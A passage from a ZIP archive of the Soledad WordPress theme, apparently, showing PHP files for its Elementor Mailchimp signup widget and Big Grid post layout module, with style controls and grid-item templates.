					'{{WRAPPER}} .penci-header-signup-form .mc4wp-form-fields > p,' .
					'{{WRAPPER}} .penci-header-signup-form form > p,' .
					'{{WRAPPER}} .footer-subscribe .mc4wp-form .mdes,' .
					'{{WRAPPER}} .mc4wp-form-fields' => 'color: {{VALUE}};'
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_des_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-header-signup-form .mc4wp-form-fields > p,{{WRAPPER}} .penci-header-signup-form form > p,{{WRAPPER}} .footer-subscribe .mc4wp-form .mdes,{{WRAPPER}} .mc4wp-form-fields'
			)
		);

		// Input
		$markup_input = '{{WRAPPER}} .widget input[type="text"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="email"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="date"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="number"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="search"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="password"]';


		$this->add_control(
			'tweets_input_headings',
			array(
				'label'     => __( 'Name & Email Fields', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'mc4wp_bg_input_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'background-color: {{VALUE}};' )
			)
		);
		$this->add_control(
			'mc4wp_border_input_color', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'border-color: {{VALUE}};' )
			)
		);
		$this->add_control(
			'mc4wp_text_input', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'color: {{VALUE}};' )
			)
		);

		$this->add_control(
			'mc4wp_placeh_input', array(
				'label'     => __( 'Placeholder Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget_mc4wp_form_widget input::-webkit-input-placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input::-moz-placeholder'          => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input:-ms-input-placeholder,'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input::placeholder'               => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_input_typo',
				'selector' => $markup_input,
			)
		);

		// Button
		$this->add_control(
			'mc4wp_button_headings',
			array(
				'label'     => __( 'Submit Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_btn_typo',
				'selector' => '{{WRAPPER}} .mc4wp-form input[type="submit"]',
			)
		);

		$this->add_responsive_control(
			'mc4wp_butpadding', array(
				'label'     => __( 'Padding Left & Right', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s2 .mc4wp-form-fields .msubmit input, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .msubmit input' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px;',
					'{{WRAPPER}} .penci-mailchimp-s4 .msubmit'                                                                                             => 'width: auto;max-width: 100%;',
				),
				'condition' => array( 'mailchimp_style!' => array( 's1', 's3' ) ),
			)
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control(
			'button_text_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .mc4wp-form input[type="submit"]' => 'fill: {{VALUE}}; color: {{VALUE}};' )
			)
		);

		$this->add_control(
			'background_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .mc4wp-form input[type="submit"]' => 'background-color: {{VALUE}};' )
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover', array(
				'label' => __( 'Hover', 'soledad' )
			)
		);

		$this->add_control(
			'hover_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .mc4wp-form input[type="submit"]:hover' => 'color: {{VALUE}};',

				)
			)
		);

		$this->add_control(
			'button_background_hover_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .mc4wp-form input[type="submit"]:hover' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$form_id  = isset( $settings['mailchimp_pre_form'] ) && $settings['mailchimp_pre_form'] ? $settings['mailchimp_pre_form'] : 0;

		$mailchimp_style = $settings['mailchimp_style'];

		$css_class = 'penci-block-vc penci-mailchimp-block penci-el-mailchimp';
		$css_class .= ' penci-mailchimp-' . $mailchimp_style;

		$class_signup_form = 'widget widget_mc4wp_form_widget';
		if ( 's2' == $mailchimp_style ) {
			$class_signup_form .= ' penci-header-signup-form';
		} elseif ( 's3' == $mailchimp_style ) {
			$class_signup_form .= ' footer-subscribe';
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
                <div class="<?php echo esc_attr( $class_signup_form ); ?>">
					<?php
					if ( function_exists( 'mc4wp_show_form' ) ) {
						mc4wp_show_form( $form_id );
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\G    /  inc/elementor/modules/penci-big-grid/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciBigGrid;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-big-grid';
	}

	public function get_widgets() {
		return array( 'PenciBigGrid' );
	}
}
PK     N\GQ!  !  ;  inc/elementor/modules/penci-big-grid/widgets/based-post.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
				<?php
				do_action( 'penci_bookmark_post', get_the_ID() );
				/* Display Review Piechart  */
				if ( 'yes' == $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( 'yes' == $show_formaticon ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                        <div <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),! $disable_lazy);?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
						} ?>>
                            <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),get_the_title(),! $disable_lazy);?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( in_array( 'cat', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="pcbg-above item-hover">
							<span class="cat pcbg-sub-title">
								<?php penci_category( '', $primary_cat ); ?>
							</span>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'title', $post_meta ) ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>>
                                    <a href="<?php the_permalink(); ?>">
										<?php
										
                                        if ( ! $title_length ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										} ?>
                                    </a>
                                </h3>
                            </div>
						<?php endif; ?>

						<?php if ( ( isset($settings['cspost_enable']) && $settings['cspost_enable'] ) || ( ! $hide_meta_small_flag && count( array_intersect( array(
									'author',
									'date',
									'comment',
									'views',
									'reading',
									'excerpt'
								), $post_meta ) ) > 0 ) ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
									<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                        <span class="bg-date-author author-italic author vcard">
										<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
									</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                        <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                        <span class="bg-comment">
										<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
									</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $post_meta ) ) {
										echo '<span>';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php
									$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="bg-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
										'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
										'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
										'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
										'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
									] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
								<?php if ( in_array( 'excerpt', $post_meta ) && ! $hide_excerpt_small_flag ) : ?>
                                    <div class="pcbg-pexcerpt">
										<?php penci_the_excerpt( $excerpt_length ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
						<?php } ?>

						<?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php the_permalink(); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
									<?php if ( $readmore_icon ): ?>
										<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\No  o  7  inc/elementor/modules/penci-big-grid/widgets/custom.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg($image_url, $disable_lazy);?> class="<?php echo penci_layout_bg_class($disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img($image_url,$title, $disable_lazy);?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"<?php echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
						echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $sub_title ) : ?>
                            <div class="pcbg-above item-hover">
                                <div class="pcbg-sub-title"><?php echo $sub_title; ?></div>
                            </div>
						<?php endif; ?>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
									echo $title_external . $title_nofollow . $title_attr; ?>><?php if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>

						<?php if ( $button_text ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a <?php if ( $button_link ){ ?>href="<?php echo esc_url( $button_link ); ?>"<?php }
								echo $button_external . $button_nofollow . $button_attr; ?>
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo $button_text; ?></span>
									<?php if ( $readmore_icon ): ?>
										<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\R/  ?  inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciBigGrid\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciBigGrid extends Base_Widget {

	public function get_name() {
		return 'penci-big-grid';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Big Grid', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'big grid', 'post' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_bg' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'bgquery_type', array(
			'label'   => __( 'Query Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'post',
			'options' => array(
				'post'   => esc_html__( 'Based Posts', 'soledad' ),
				'custom' => esc_html__( 'Custom', 'soledad' ),
			)
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Big Grid Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			)
		) );

		$this->add_control( 'bg_columns', array(
			'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_tablet', array(
			'label'     => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_mobile', array(
			'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '1',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_postmeta', array(
			'label'     => __( 'Showing Post Data', 'soledad' ),
			'type'      => Controls_Manager::SELECT2,
			'default'   => array( 'cat', 'title', 'author', 'date' ),
			'multiple'  => true,
			'options'   => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
				'excerpt' => esc_html__( 'Post Excerpt', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'title_length', array(
			'label'     => __( 'Custom Title Words Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 100,
			'step'      => 1,
			'default'   => '',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'hide_cat_small', array(
			'label'        => __( 'Hide Post Categories on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => 'yes',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_meta_small', array(
			'label'        => __( 'Hide Post Meta( Author, Date.. ) on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_excerpt_small', array(
			'label'        => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_subtitle_mobile', array(
			'label'        => __( 'Hide Post Categories/Sub Title on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_desc_mobile', array(
			'label'        => __( 'Hide All Post Meta/Description on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 10,
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Show', 'soledad' ),
			'label_off'    => __( 'Hide', 'soledad' ),
			'return_value' => 'show',
			'default'      => '',
			'condition'    => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'hide_rm_small', array(
			'label'        => __( 'Hide Read More Button on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'        => array( 'style-1', 'style-2' ),
				'show_readmore' => 'show',
				'bgquery_type'  => 'post'
			),
		) );

		$this->add_control( 'hide_readmore_mobile', array(
			'label'        => __( 'Hide Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'conditions'   => array(
				'relation' => 'or',
				'terms'    => array(
					array(
						'terms' => array(
							array( 'name' => 'bgquery_type', 'operator' => '===', 'value' => 'post' ),
							array( 'name' => 'show_readmore', 'operator' => '===', 'value' => 'show' )
						)
					),
					array(
						'terms' => array(
							array( 'name' => 'bgquery_type', 'operator' => '===', 'value' => 'custom' )
						)
					),
				)
			),
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'formaticon_pos', array(
			'label'     => __( 'Post Format Icon Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'top-right',
			'options'   => array(
				'top-right'    => esc_html__( 'Top Right', 'soledad' ),
				'top-left'     => esc_html__( 'Top Left', 'soledad' ),
				'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
				'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
				'center'       => esc_html__( 'Center', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'show_formaticon' => 'yes' ),
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'reviewpie_pos', array(
			'label'     => __( 'Review Scores Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'top-left',
			'options'   => array(
				'top-right'    => esc_html__( 'Top Right', 'soledad' ),
				'top-left'     => esc_html__( 'Top Left', 'soledad' ),
				'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
				'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
				'center'       => esc_html__( 'Center', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'show_reviewpie' => 'yes' ),
		) );

		$this->add_control( 'onecol_mobile', array(
			'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'sameh_mobile', array(
			'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
